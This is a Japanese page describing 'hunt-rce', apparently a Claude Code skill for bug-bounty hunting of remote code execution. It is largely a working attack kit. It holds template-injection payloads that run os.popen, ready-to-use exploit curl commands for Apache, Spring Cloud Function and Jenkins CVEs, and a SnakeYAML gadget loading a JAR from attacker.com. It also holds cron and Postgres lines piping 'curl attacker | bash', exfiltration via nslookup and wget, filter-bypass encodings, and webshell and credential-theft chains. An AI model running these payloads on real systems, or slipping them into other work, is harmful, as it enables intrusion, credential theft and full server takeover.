hunt-rce について
hunt-rceは、Webアプリケーションやインフラにおけるリモートコード実行経路を探し、検証するセキュリティテスト用スキルです。脆弱性報奨金の調査者向けに、手順、攻撃面の手掛かり、検出プローブ、検証方法をまとめています。
主な機能
- 01実行コンテキストの洗い出し
- 02管理インターフェースの調査
- 03テンプレート・パーサー注入の検査
- 04依存関係混同のテスト
- 05帯域外RCEの検証
- 06権限昇格チェーンの評価
活用シーン
- 01管理コンソールの注入リスク調査
- 02YAML・XML処理エンドポイントのテスト
- 03公開パッケージレジストリの調査
- 04バグ報奨金テストでのブラインド実行検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-rceインストール後、Claude Code で/hunt-rceを入力して読み込まれたか確認します。
詳細
使用する場面
対象に、ユーザーが制御する入力を実行レイヤー経由で処理するエンドポイントがある場合に使用します。テンプレートエンジン、シェルコマンド、YAML/XML パーサー、操作に使用されるファイルパス、パッケージ解決、設定ファイルなどが該当します。RCE は対象のインフラストラクチャを直接実行制御できるため、最も高額な報奨金が得られる脆弱性クラスです。すべての管理コンソール/運用コンソール、テンプレート/プレビュー用エンドポイント、アップロード処理、デシリアライズのシンク、依存関係リゾルバーが調査対象となります。特に価値の高いターゲットは、エンタープライズサーバー製品(GHES、セルフホスト型 GitLab)、サプライチェーン/パッケージレジストリ、クラウドネイティブインフラストラクチャ、管理コンソール/運用コンソールです。
最重要ターゲット
RCE 脆弱性は、攻撃者が対象のインフラストラクチャを直接実行制御できるため、バグバウンティプログラムで最も高額な報奨金の対象となります。特に価値の高いターゲットは次のとおりです。
最も高額な報奨金が得られる資産の種類:
- エンタープライズサーバー製品(GitHub Enterprise Server、セルフホスト型 GitLab)— 低権限のコンソールロールから root の SSH アクセスに至る権限昇格チェーンには、常にクリティカル/高の報奨金が支払われます
- サプライチェーン/パッケージレジストリ — npm、PyPI などを狙った依存関係の混乱攻撃は、主要なプログラムすべてでクリティカルな深刻度に達します
- クラウドネイティブインフラストラクチャ — 外部公開された Kubernetes API サーバー、イングレスコントローラー、設定ミスのある CI/CD パイプライン
- モバイルアプリのバックエンドと OAuth フロー — 攻撃者が制御するデータのサーバー側処理が実行コンテキストと交わる箇所
- 管理コンソール/運用コンソール — 設定パネルへのテンプレートインジェクションは、1 つのペイロードで root 権限に到達します
このクラスの報奨金が最も高い理由:
- 影響範囲はユーザー単位ではなく、インフラストラクチャ全体に及びます
- 概念実証が明確です。シェルの出力は否定のしようがありません
- 修正にはパッチだけでなく、アーキテクチャの変更が必要です
- プログラムは RCE の見逃しを許容できません
攻撃対象領域の兆候
URL パターン
/management-console/*
/admin/settings/*
/api/v*/exec
/api/v*/run
/webhook/*
/_internal/*
/import?url=
/render?template=
/preview?format=
レスポンスヘッダー/技術スタックの兆候
X-Powered-By: Express # Node.js — npm dependency surface
X-Powered-By: Phusion Passenger
Server: nginx (ingress-nginx) # Kubernetes ingress — path field injection
X-Runtime: Ruby # Rails ActiveStorage, RDoc, REXML attack surface
Content-Type: application/yaml # YAML parsers (SnakeYAML, Psych) — deserialization
X-GitHub-Enterprise-Version # GHAS — nomad template, collectd, syslog-ng injection
JavaScript/フロントエンドの兆候
// Look for these patterns in JS bundles
fetch('/api/exec', {method:'POST', body: cmd})
eval(userInput)
new Function(userInput)
document.write(unsafeData)
window.location = userControlled // URL scheme bypass → JS execution
技術スタックの兆候
| 兆候 | RCE ベクトル |
|---|---|
設定 UI に nomad がある | テンプレートインジェクション → {{ ... }} |
syslog-ng の設定を編集可能 | 設定インジェクション → program() 宛先 |
collectd の設定を編集可能 | プラグイン実行インジェクション |
クラスパスに SnakeYAML がある | !!javax.script.ScriptEngineManager [...] |
npm の package.json に内部スコープがある | 依存関係の混乱 |
| ingress-nginx のアノテーション | パスフィールドの正規表現バイパス |
ステップごとのハンティング手法
-
まず実行コンテキストをマッピングします。 ペイロードをテストする前に、ユーザーが制御する入力が実行レイヤーに触れる箇所をすべて特定します。テンプレートエンジン、シェルコマンド、YAML パーサー、操作で使用されるファイルパス、パッケージ解決、設定ファイルなどです。
-
管理/運用インターフェースを列挙します。
/management-console、/admin、/_internal、/setup、/configをクロールします。これらの領域は認証要件が低く、より高い権限を持ちます。GHES クラスターでは、1 つのコンソールロールから 6 件の個別の RCE が発生しました。 -
すべての設定フィールドでテンプレートインジェクションを確認します。 自由形式の設定(ログの送信先、通知形式、プロキシ設定など)を受け付ける管理 UI では、
{{7*7}}、${7*7}、<%= 7*7 %>を送信します。レスポンス、ログ、DNS コールバックで49が返るか確認します。 -
YAML/XML/シリアライズ入力でコード実行をテストします。
Content-Type: application/yamlまたはapplication/xmlを受け付けるエンドポイントでは、次を試します。- SnakeYAML:
!!javax.script.ScriptEngineManagerガジェットを送信します - Ruby YAML:
!ruby/object:Gem::Installerガジェットを送信します - REXML:billion laughs/二次的な膨張を引き起こす XML を送信します
- SnakeYAML:
-
依存関係の混同を調査します。 JS バンドル、エラーメッセージ、または公開リポジトリの
package.jsonで確認できる、npm/pip/gem の内部パッケージ名すべてについて、公開レジストリに、カナリーコールバックを指すより高いバージョンのパッケージを登録します。 -
ファイルパス操作でパストラバーサルから実行につながる経路を確認します。 ActiveStorage、ファイルアップロードハンドラー、シンボリックリンク操作では、ファイル名として
../../../etc/cron.d/shellを送信します。書き込みを確認してから、実行をトリガーします。 -
Kubernetes/クラウドネイティブの領域を監査します。 公開されている API サーバーに対して
kubectlを実行します。Ingress のアノテーション、特に Lua/正規表現インジェクションにつながるnginx.ingress.kubernetes.io/configuration-snippetとspec.rules.http.paths.pathを確認します。 -
OAuth リダイレクト URI と URL スキームハンドラーをテストします。 OAuth リダイレクトを介して
javascript:またはintent://URI を処理するモバイルアプリでは、JavaScript が実行される可能性があります。javascript:alert(document.cookie)とカスタムスキーム URI を試します。 -
帯域外コールバックで検証します。 目に見える出力だけに頼ってはいけません。Burp Collaborator、interactsh、または
canarytokens.orgの DNS トークンを使用します。バックエンドプロセッサーでは、ブラインド RCE がよく発生します。 -
権限を連鎖させます。 低深刻度の設定ミス(編集者ロール、CSRF、パストラバーサル)に RCE プリミティブを組み合わせると、重大な脆弱性になります。常に「ここから何に到達できるか」と考えてください。
ペイロードと検出パターン
テンプレートインジェクションのプローブ
# Generic polyglot — works across Jinja2, Twig, Freemarker, Pebble, Velocity
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
{{'7'*7}}
{{config}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
# Nomad template injection (Go text/template)
{{ env "NOMAD_SECRET_ID" }}
{{ with secret "secret/data/prod" }}{{ .Data.password }}{{ end }}
{{ runscript "id" }}
Apache HTTP Server の alias パストラバーサル(CVE-2021-41773 / CVE-2021-42013)
Apache 2.4.49 のパス正規化の不具合(および 2.4.50 のパッチ回避)により、攻撃者は設定済みの alias パスを経由して、ドットエンコードされたセグメントを使い DocumentRoot の外へ移動できます。同じプリミティブでも、パストラバーサルを受け付ける alias によって影響は大きく異なります。
Options +ExecCGIのない alias(例:/icons/)→ 任意のファイル読み取りのみOptions +ExecCGIのある alias(例:/cgi-bin/)→ 任意のコード実行
バージョンの特定:
curl --max-time 30 --connect-timeout 10 -sI http://target/ | grep -i "Server:"
# Vulnerable: Apache/2.4.49 (CVE-2021-41773) or Apache/2.4.50 (CVE-2021-42013)
# Patched: Apache/2.4.51+
ファイル読み取りテスト(任意の alias):
curl --max-time 30 --connect-timeout 10 --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# Note: --path-as-is is REQUIRED — curl normalizes %2e by default
RCE テスト(CGI が有効な alias のみ):
curl --max-time 30 --connect-timeout 10 --path-as-is -X POST \
-d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \
"http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
トリアージ上の注意: 同じパストラバーサルのプリミティブが複数の alias で機能するものの、CGI が有効なのはそのうち 1 つだけの場合、深刻度には平均ではなく最大の影響を適用します。/icons/ で「ファイル読み取り」の指摘があった場合は、必ず /cgi-bin/(および server-info の情報開示やレスポンスパターンから確認できる、<Directory> ブロック内の他の alias)を再プローブして深刻度を引き上げます。triage-validation の Pre-Severity Gate を参照してください。
Spring Cloud Function SpEL インジェクション(CVE-2022-22963)
Spring Cloud Function ≤ 3.2.2(および ≤ 3.1.6)では、認証なしで利用できる /functionRouter エンドポイントにおいて、ルーティング処理が始まる前に spring.cloud.function.routing-expression ヘッダーが SpEL 式として評価されます。AWS Lambda、Cloud Run、オンプレミスの関数プラットフォームで広く導入されています。/functionRouter は自動登録され、開発者が明示的なアクセス制御を追加しないことが多いため、外部に公開されている場合がよくあります。
検出:
- Spring 形式のポート 8080 で、
/uppercase、/lowercase、または任意の単語 1 つからなる関数エンドポイントが 200 を返す - 次のコマンドで確認できます。
curl --max-time 30 --connect-timeout 10 -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test"→TESTが返されます /actuator/infoまたはレスポンスヘッダーでバージョンバナーを確認します
エクスプロイト:
curl --max-time 30 --connect-timeout 10 -X POST http://target:8080/functionRouter \
-H "Content-Type: text/plain" \
-H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
--data "x"
new String[]{"...", "..."} 配列形式を使うと、SpEL ヘッダーに括弧や引用符が含まれる場合に、よく使われる .exec("id") 形式で発生するシェルのクォート問題を回避できます。
**一般化できる対象:**ユーザー入力を SpelExpressionParser.parseExpression() 呼び出しに渡すあらゆる Spring アプリケーションです。特に、通常の認証フィルターを迂回するヘッダー/クエリーパラメーター経由のルートで入力が渡される場合が該当します。より広範な SpEL のフィンガープリンティングについては、hunt-ssti を参照してください(*{7*7} = Spring Thymeleaf)。
SnakeYAML RCE ガジェット
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com/exploit.jar"]
]]
]
Ruby YAML / rdoc_options RCE
--- !ruby/object:Gem::Installer
i: x
依存関係混乱の検出
# Find internal package names
grep -r '"name"' node_modules/ | grep '@internal\|@company\|@private'
# Check if public registry has higher version
npm view @target-company/internal-package version 2>/dev/null
Ingress-nginx パスインジェクション
# In spec.rules.http.paths.path
/something)(;.*);#
# Results in nginx config injection
Kubernetes の公開 API チェック
curl --max-time 30 --connect-timeout 10 -sk https://TARGET:6443/api/v1/namespaces/default/pods \
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
kubectl --insecure-skip-tls-verify -s https://TARGET:6443 get pods --all-namespaces
帯域外 RCE の確認
# Payload to confirm blind RCE via DNS
curl --max-time 30 --connect-timeout 10 "http://$(id | base64).YOUR-INTERACTSH-URL/"
nslookup $(whoami).attacker.com
wget http://attacker.com/$(cat /etc/hostname)
ActiveStorage パストラバーサル → RCE
# Filename in upload request
filename="../../../../etc/cron.d/backdoor"
# Cron payload content
* * * * * root curl http://attacker.com/shell | bash
Args4j の @ プレフィックスによるファイル展開(Jenkins CVE-2024-23897 系)
args4j ライブラリをベースに構築された Java CLI では、デフォルトで expandAtFiles=true になっており、@filename 引数を展開して、ファイルを読み込み、各行を個別のコマンド引数として扱います。このような CLI が HTTP 経由で公開されている場合(代表例は Jenkins CLI)、サーバー側のエラーメッセージが失敗した引数をそのまま返すため、引数のエコーが任意ファイル読み取りの手段になります。「匿名ユーザーの読み取りアクセス」が有効な場合(新規インストール時の Jenkins のデフォルト設定)、認証は不要です。
検出:
- 対象が
/cliと/jnlpJars/jenkins-cli.jarを公開している(Jenkins 系) - または、args4j を使っていて
expandAtFiles=falseに設定されていない Java アプリ
テスト(Jenkins):
# Get the legit CLI jar from the target
curl --max-time 30 --connect-timeout 10 -sLO http://target:8080/jnlpJars/jenkins-cli.jar
# First line of file leaks via 'help' error
java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/etc/passwd
# → ERROR: Too many arguments: root:x:0:0:root:/root:/bin/bash
# Full file leaks via 'connect-node' (every line returned as a "no such agent" error)
java -jar jenkins-cli.jar -s http://target:8080/ -http connect-node @/etc/passwd
# → All passwd lines echoed back
# Recon: env vars + JENKINS_HOME path
java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/proc/self/environ
JENKINS_HOME の確認後に調べるべき重要ファイル:
/var/jenkins_home/secret.key— 保存された認証情報の暗号化に使うマスターキー/var/jenkins_home/secrets/master.key— 暗号化キーの導出に使われます/var/jenkins_home/credentials.xml— 認証情報ストア(secret.key で暗号化済み。オフラインの復号ツールと組み合わせてください)/var/jenkins_home/users/*/config.xml— ユーザーごとの API トークン(暗号化されていないことがよくあります)/var/jenkins_home/jobs/*/config.xml— AWS キー、SSH キー、レジストリトークンが直接記述されている可能性のあるパイプライン設定
**このパターンは Jenkins 以外にも当てはまります。**次の条件をすべて満たす Java サービスでは、同じ問題が発生します。
- args4j を組み込んでいる(2010 年代以降のエンタープライズ Java CLI の多くが該当)
- CLI ハンドラーを HTTP 経由で公開している(Jenkins、Hudson のフォーク、カスタムの社内ツールなど)
- 引数解析エラーを加工せずにクライアントへ返す
→ 同じ任意ファイル読み取りの手段が利用できます。triage-validation の再現性ゲートで検証してください。少なくとも 2 つの異なるコマンド(例:help と connect-node)で漏えいを確認し、汎用的な 500 エラーだけでなく、ファイルの内容が実際にレスポンスに含まれていることを確かめてください。
ソースレビュー用 Grep パターン
# Command injection sinks
grep -rn "exec\|system\|popen\|spawn\|eval\|subprocess" --include="*.rb" .
grep -rn "Runtime.exec\|ProcessBuilder\|ScriptEngine" --include="*.java" .
# Template engine instantiation
grep -rn "Mustache\|Handlebars\|nunjucks\|render_template\|Template\(" .
# Unsafe YAML load
grep -rn "yaml\.load\b\|YAML\.load\b" . # without Loader= argument
grep -rn "Yaml()\|new Yaml()" --include="*.java" .
よくある根本原因
1. サニタイズが不十分な設定のコード化
管理者は、Web UI を通じて設定ファイル(syslog-ng、collectd、nomad)を編集します。開発者は管理者を信頼できるユーザーだと想定し、実行プリミティブ(program() デスティネーション、exec プラグイン、テンプレート関数)をサポートする設定ファイルに、フィールド値をそのまま渡します。
2. 特権コンテキストでのテンプレートエンジン
Go の text/template、Freemarker、Velocity、Twig は、システム設定のレンダリングに使用されます。ユーザー制御の文字列がサンドボックス化されずにこれらのエンジンに渡されると、任意のコードが実行されます。
3. 依存関係の混同/名前空間の占有 内部パッケージを、パブリックレジストリの名前空間をロックせずにプライベートレジストリへ公開します。ビルドシステムがデフォルトでパブリックレジストリを優先する場合や、プライベートレジストリにパッケージがないとパブリックレジストリにフォールバックする場合に問題となります。
4. YAML/XML の安全でないデシリアライズ
開発者が安全なローダーを使わずに YAML.load() を使用したり、型制限を設定せずに new Yaml()(SnakeYAML)を使用したりします。Ruby の YAML.load と Java の SnakeYAML は、どちらもデフォルトで任意のオブジェクトのインスタンス化をサポートしています。
5. ファイル操作チェーンにおけるパストラバーサル
ユーザー入力から受け取ったファイル名が、正規化されずにファイルシステム操作で使用されます。Rails ActiveStorage、ファイルアップロードハンドラー、rdoc ジェネレーターは、filename パラメーターを信頼します。
6. 低権限ロールは実行コンテキストに到達できないという思い込み GHES 管理コンソールでは、「Editor」ロールに、シェル実行に関わる設定フィールドへのアクセスが許可されていました。開発者は、より上位のアーキテクチャレベルで権限境界が設けられていると思い込んでいました。
7. インフラストラクチャに関わるフィールドの入力検証不足 Ingress/nginx のアノテーション値、Kubernetes の spec フィールド、Webhook URL は、単なる文字列として扱われます。しかし、下流のプロセッサー(nginx 設定ジェネレーター、正規表現エンジン)は、それらをコードとして解釈します。
バイパス手法
バイパス:シェルのメタ文字フィルタリング
# Blocked: ; | & ` $()
# Bypass using $IFS and encodings
cat${IFS}/etc/passwd
{cat,/etc/passwd}
$'\x63\x61\x74' /etc/passwd # hex encoding
$(printf '\x63\x61\x74') /etc/passwd
# Newline injection when semicolons blocked
payload=$'\ncurl attacker.com\n'
バイパス:URL スキームの許可リスト(javascript: はブロック)
# Mobile apps often block javascript: but miss:
jAvAsCrIpT:alert(1) # case variation
javascript:alert(1) # HTML entity
javascript:void(alert(1)) # void wrapper
intent://attacker.com#Intent;scheme=javascript;...
data:text/html,<script>alert(1)</script>
バイパス:YAML の safe_load/型制限
# If !!java.* is blocked, try legitimate classes with side effects
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: 'ldap://attacker.com/a'
autoCommit: true
# Or find allowlisted types with dangerous constructors
バイパス:npm スコープの制限
# If @company/* is monitored, look for unscoped internal names
# e.g., "internal-utils" instead of "@company/internal-utils"
# Public registries serve unscoped packages first
バイパス:パストラバーサルフィルター
# Basic filter bypass
../ → ..%2F → %2e%2e%2f → ....//
# Double encoding
%252e%252e%252f
# Unicode normalization
..%c0%af (overlong UTF-8)
# Null byte (older systems)
../../etc/passwd%00.jpg
バイパス:出力フィルタリングを伴うテンプレートインジェクション
# If {{ }} is sanitized on output but not evaluation:
{% for x in range(1) %}{{ lipsum.__globals__.os.popen('id').read() }}{% endfor %}
# Blind — use DNS callback instead of output
{{ lipsum.__globals__.os.popen('nslookup $(id).attacker.com').read() }}
バイパス:exec、system、popen をブロックする WAF
# Ruby
send(:system, "id")
method(:exec).call("id")
Kernel.send(:`, "id")
Object.const_get(:Kernel).system("id")
ゲート 0 の検証
レポートを作成する前に、次の 3 点をすべて確認してください。
1. 攻撃者は現時点で何を実行できますか?
次のいずれかを実証できる必要があります。id/whoami を実行して出力を取得する、対象サーバーから制御下のホストへ DNS/HTTP コールバックを発生させる、ファイルシステムにファイルを書き込む、または /etc/passwd を読み取る。「できるかもしれない」ではこのゲートを通過できません。
2. 被害者は何を失いますか? 具体的な影響を説明してください。ソースコードの窃取、認証情報(データベース、API キー、クラウド IAM)の窃取、内部ネットワークへのラテラルムーブメント、下流ユーザーに対するサプライチェーン侵害、データの破壊などです。一般的な「攻撃者が RCE を得る」では不十分です。危険にさらされる最重要資産を明示してください。
3. 何もない状態から 10 分以内に再現できますか? 提出前に再現手順を書いてください。(a)Burp リクエスト、(b)ペイロードファイル、(c)リスナー以上のものが必要な場合は、手順を簡略化してください。再現に特定の競合状態、タイミング、一時的な状態が必要な場合は、正確な条件を記録してください。1 回で再現できないトリアージ担当者は、レポートの優先度を下げるか、クローズすることがあります。
実際の影響事例
シナリオ A:管理コンソールのロール → ルートシェル(エンタープライズサーバー)
GitHub Enterprise Server インスタンスで低権限の「管理コンソール編集者」アカウントを持つ攻撃者は、syslog-ng の設定 UI が自由形式の「宛先」フィールドを受け付けることを特定しました。リバースシェルコマンドを含む program() 宛先を注入することで、攻撃者はログ受信時に syslog-ng デーモン(root として実行)が任意の OS コマンドを実行するようにしました。同じ攻撃対象領域は、collectd の exec プラグイン設定と nomad のジョブテンプレートのレンダリングでも個別に確認されており、いずれも同じ編集者ロールから到達可能でした。影響:組織のソースコード、シークレット、CI/CD パイプラインをすべてホストするエンタープライズ Git サーバーが、完全に root 権限で侵害されました。
シナリオ B:依存関係の混同 → ビルドインフラストラクチャでの RCE
ある研究者は、大手決済プラットフォームに属する公開 GitHub リポジトリと、対象の CDN エンドポイントから配信される JavaScript バンドルを調査し、内部 npm パッケージ名を列挙しました。複数の @internal/* スコープ付きパッケージが参照されていましたが、公開 npm レジストリには登録されていませんでした。研究者は、同一名でより高いバージョンのパッケージを公開し、ビーコン用のコールバックを実行する postinstall スクリプトを含めました。数時間以内に、対象の CI/CD ビルドファームに属する複数の IP アドレスからコールバックが発生し、ビルドインフラストラクチャで実行されるすべての npm install が、攻撃者の管理下にあるコードを実行することが確認されました。同じ手法は、あるライドシェアプラットフォームの内部ツールでも有効でした。影響:本番環境へのデプロイ認証情報と署名鍵にアクセスできるビルドサーバー上で、任意のコードが実行されました。
シナリオ C:公開状態の Kubernetes API → クラスター乗っ取り
対象のクラウドインフラストラクチャを偵察中、ある研究者は、RBAC の権限が過度に広い、一般公開された Kubernetes API サーバー(ポート 6443)を発見しました。デフォルトのサービスアカウントトークンと認証されていない API 呼び出しを使用し、実行中のポッドを列挙し、デフォルトの名前空間からシークレット(データベース認証情報やサードパーティー API キーを含む)を取得して、hostPID: true を指定した特権ポッドを起動できることを実証しました。これにより、ノードを完全に侵害できます。Kubernetes クラスターは、対象の中核となる本番サービスを管理していました。影響:保存されたすべてのシークレットへのアクセス、悪意のあるワークロードをデプロイする能力、そしてクラスター内のすべてのサービスへの侵入経路を得ました。
チェーンと組み合わせ(シニアハンティング)
2020~2026 年の RCE は、単一のシンクで発生することはほとんどありません。現代の RCE はどれも、(1)攻撃者のバイト列をホスト上またはデシリアライズパイプラインに送り込むプリミティブと、(2)それを解釈する実行ガジェットの組み合わせで構成されます。以下のチェーンでは、高額報奨金につながる 6 種類の RCE の形を、それぞれのプリミティブ要素に分解しています。各ステップは単独で検証可能であり、報奨金につながるのはチェーン全体です。
チェーン 1 — SSRF + IMDSv1 + 漏えいした IAM ロール → Lambda Invoke → バックエンド RCE(Capital One のパターン)
- A. サーバー側フェッチャー(リンクプレビュー、画像プロキシ、Webhook URL、PDF ジェネレーター)における SSRF。Burp Collaborator の OOB コールバックで確認します。
- B. SSRF の接続先を AWS IMDSv1 メタデータに設定します:
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/<role>→ 一時的な STS 認証情報が返されます。 - C. 認証情報を
aws lambda invoke --function-name <internal-function>で使用します。Lambda は、攻撃者が関数の入力パラメーターを通じて影響を与えられるサーバー側コードを実行します。 - 影響: Lambda の実行コンテキストでバックエンド RCE が完全に成立し、さらにロールが許可する他のリソース(S3/DynamoDB/RDS)への侵入経路も得られます。
- 実際の事例: Capital One 2019 — 民事制裁金 8,000 万ドル、攻撃者の有罪判決。EC2 上の WAF における SSRF → IMDSv1 → IAM ロール → S3 同期を介した 1 億 600 万件のレコード侵害。相互参照:
hunt-ssrfDisclosed Report Citation #6。
Chain 2 — SQLi + COPY FROM PROGRAM → Postgres ホスト上での直接的な OS レベル RCE
- A. Postgres バックエンドで SQLi を確認します(ブールベース/時間ベースで動作し、UNION は不要です)。
- B. DB ユーザーに
pg_read_server_filesまたはCOPYの権限があります(「admin」データベースが存在する場合、多くの AWS RDS/Google Cloud SQL ロールでデフォルト設定されています)。 - C. クエリを連結します:
'; COPY users FROM PROGRAM 'curl http://attacker/x.sh | bash'; --→ Postgres が/bin/sh -c <attacker command>を実行します →postgresユーザーとして RCE が可能になります。 - 影響: データベースユーザーとして RCE が可能になります。マネージド Postgres では、このユーザーが IAM 認証情報を持ち、他の AWS リソースに直接アクセスできることがよくあります。
- 実際の事例: Postgres をバックエンドとする SaaS アプリで、2020〜2024 年に複数の H1 開示事例がありました。
hunt-sqliの開示レポート引用 #12、およびFILE/xp_cmdshell権限の根本原因に関する考察を参照してください。
Chain 3 — 画像アップロード + ファイル名のパストラバーサル + MIME 配信の設定ミス → Webshell
- A. ファイルアップロードが画像(
image/png、image/jpeg)を受け入れます。サーバーはユーザー指定のファイル名で保存するか、実際のコンテンツではなく Content-Type のみを検証します。 - B. 正しい画像マジックバイト(
GIF89aの後に PHP を配置)を含む.aspx/.jsp/.phpファイルをアップロードし、../を含むファイル名を指定して、アップロードディレクトリの外にあるウェブルートへ書き込みます(../../../public/webshell.php)。 - C.
https://target/webshell.php?cmd=idにリクエストします。パスがアップロードディレクトリのフィルターを通らないため、拡張子のポリシーにかかわらずサーバーの PHP/ASP.NET ハンドラーがスクリプトを実行します。 - 影響: 認証されていない、または低権限の攻撃者が、Web サーバーのプロセス権限でアプリケーションサーバー上に Webshell を取得します。
- 実際の事例: レガシーなアップロードハンドラーで、複数の H1 開示事例がありました。2020 年以前から知られる典型的な RCE クラスです。
hunt-file-upload(アップロード回避テーブル)およびhunt-miscのパストラバーサルパターンと併用できます。
Chain 4 — プロトタイプ汚染 + Lodash/Mongoose ガジェットチェーン → child_process.spawn → Node RCE
- A. プロトタイプ汚染のシンクを特定します。攻撃者の JSON を受け取る JSON マージ/Object.assign/lodash
_.merge/NodeObject.createのチェーンが該当します。 - B.
Object.prototype.shellをtrueに汚染するか、Object.prototype.env.NODE_OPTIONSを--require ./malicious.jsに汚染します。汚染されたプロトタイプが、下流のchild_process.spawnまたはvm.runInThisContextに到達します。 - C. シンクが攻撃者の制御するシェル/環境変数を使って実行されることで、攻撃者のコードが Node.js プロセスのコンテキストで実行され、環境変数、AWS メタデータ、内部サービスに完全にアクセスできるようになります。
- 影響: JSON POST によるサーバーサイド JS 実行です。設定のマージに
body-parserとlodash.mergeを使用する Express アプリでよく見られます。 - 実際の事例:
lodash.mergeの CVE-2018-16487、CVE-2019-10744、CVE-2020-8203、mongooseの CVE-2024-53900(hunt-sqliの開示レポート引用 #10 を参照。同じガジェットファミリーがプロセスではなく Mongo の$whereに到達します)。
Chain 5 — 暗号化されていない ViewState + 復元された MachineKey → ASP.NET のデシリアライズ → RCE(ToolShell クラス)
- A.
__VIEWSTATEENCRYPTED=""(ViewState は署名されていますが、暗号化されていません)となっている ASP.NET エンドポイントを特定します。フォームを含むページで Burp / curl を使って確認します。 - B.
<machineKey>の validationKey を復元します。設定ファイルの漏えい(/web.configにアクセス可能)、同じキーを共有する兄弟アプリのサブドメイン乗っ取り、または Subscription Edition でキーを外部に持ち出す CVE-2025-53771 ToolShell エクスプロイトチェーンを利用できます。 - C.
ysoserial.net --plugin=ViewState --validationkey=<key>とTypeConfuseDelegate/WindowsIdentityペイロードを使って ViewState を偽造し、エンドポイントに送信します。ASP.NET はこれをデシリアライズして、Process.Startに至るメソッド呼び出しガジェットチェーンを実行し、ワーカープロセスの ID で RCE に至ります。 - 影響: IIS の Web フロントエンドで完全な RCE が可能になります。権限は AppPool ID によって異なり、多くの場合は
NETWORK SERVICE(SharePoint ファームアカウントへのアクセス権を持つ)以上です。 - 実際の事例: CVE-2025-53770 / 53771 ToolShell(2025 年 7 月の緊急アドバイザリ)、EoL によりパッチが適用されていない SP2013 のリスク。
hunt-sharepointの ToolShell 前提条件チェーンと、hunt-aspnetの ViewState 二重パーサーのアンチパターンを相互参照してください。
Chain 6 — XXE + PHP expect:// ストリームラッパー → レガシー PHP での直接的な RCE
- A. OOB DTD コールバック(
<!ENTITY % x SYSTEM "http://attacker/dtd">)で XXE を確認します。 - B. 対象が
expect拡張機能を有効にした PHP を実行している必要があります(2026 年現在はまれですが、レガシーホストや一部の共有ホスティングプロバイダーではまだ使われています)。 - C.
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>を送信します。PHP のストリームラッパーが expect 経由でidを実行し、エンティティ展開または OOB 経由で出力を返します。 - 影響: 別途アップロードや SQLi のプリミティブを必要とせず、PHP / Web サーバーのユーザーとして RCE が可能です。
- 実際の事例: Rockstar Games のエンブレムエディターにおける XXE H1 #347139(2018 年、$1,500)、Adobe Commerce CosmicSting CVE-2024-34102(XXE → 暗号鍵の外部持ち出しによる RCE)。
hunt-xxeの公開レポートの引用 #7 と #10 を相互参照してください。
オペレーター向けのパターン
最新の RCE チェーンはすべて 2 つの段階で構成されます。バイト列を送り込む(SSRF、SQLi、アップロード、プロトタイプ汚染、ViewState、XXE)段階と、バイト列を解釈させる(lambda invoke、COPY PROGRAM、webshell ハンドラー、child_process.spawn、デシリアライザーのガジェット、expect://)段階です。最初の段階を探してください。2 つ目の段階は、通常、上記 6 つのいずれかです。最初の段階のプリミティブがこれらのどれともつながらない場合は、報告する前に立ち止まってください。「RCE につながる可能性がある」は Low/Medium、「エンドツーエンドで RCE を実証済み」は Critical です。
相互参照:
hunt-ssrf— Chain 1hunt-sqli— Chain 2hunt-file-upload— Chain 3hunt-api-misconfig(proto-pollution)— Chain 4hunt-sharepoint+hunt-aspnet— Chain 5hunt-xxe— Chain 6hunt-deserialization— YAML/XML/Ruby/Java のデシリアライズは、RCE に至る並行経路です。チェーンのプリミティブ:SnakeYAML の!!javax.script.ScriptEngineManagerガジェットと攻撃者がホストする JAR → YAML を処理するあらゆる Java サービスで RCE、Python pickle の__reduce__→ 攻撃者のバイト列をアンピクルするあらゆる Python サービスで RCE。
検証
このセルフテストを実行して、rce hunting の準備ができていることを確認してください。
-
スキルの整合性 — スキルファイルが読み取り可能で、形式が正しいことを確認します。
grep -q "name: hunt-rce" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
カテゴリの確認 — スキルにカテゴリがあることを確認します。
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
Pitfalls セクション — Pitfalls が記載されていることを確認します。
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
3 つのテストすべてで、スキルが適切に構成され、使用できる状態であることを確認できます。
落とし穴
- 非本番環境でのコマンドインジェクション —
; idによってユーザー名が返されても、任意のコマンドを実行できる状態にエスカレートできない限り、RCE ではありません。 - 一部しか制御できない入力を使った eval/exec — 入力の一部しか eval に渡らない場合、エクスプロイトはより難しくなる可能性があります。制御できる範囲を記録してください。
- 確認を伴わない OOB RCE — ブラインド RCE で
curl attacker.comを実行できれば、コマンド実行が証明されます。DNS のみのコールバックは、証拠としては弱いものです。 - ガジェットチェーンを伴わないデシリアライズ RCE —
ysoserial URLDNSが証明するのはデシリアライズであり、RCE ではありません。Runtime.exec ガジェットが必要です。 - コード実行に至らないテンプレートインジェクション —
{{7*7}}の結果として 49 が返されれば、SSTI が証明されます。RCE の深刻度に該当させるには、実際のコード実行にエスカレートさせる必要があります。
関連スキルとチェーン
